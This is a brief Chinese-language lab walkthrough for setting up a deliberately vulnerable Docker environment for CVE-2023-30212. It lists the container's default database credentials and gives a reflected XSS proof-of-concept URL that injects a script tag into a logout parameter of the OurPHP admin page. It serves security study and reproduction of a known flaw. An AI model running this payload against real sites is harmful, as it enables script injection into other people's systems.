git clone https://github.com/JasaluRah/Creating-a-Vulnerable-Docker-Environment-CVE-2023-30212-.git
现在设置docker镜像
使用命令 sudo docker build -t work .
使用命令 sudo docker run -d -p 80:80 work
现在我们将获取容器ID
打开浏览器并访问localhost;127.0.0.1
现在使用凭据
username : root
password : docker
database : work
username : work password : work
访问url http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert("xss")</script>
我们将收到警报消息 "xss"。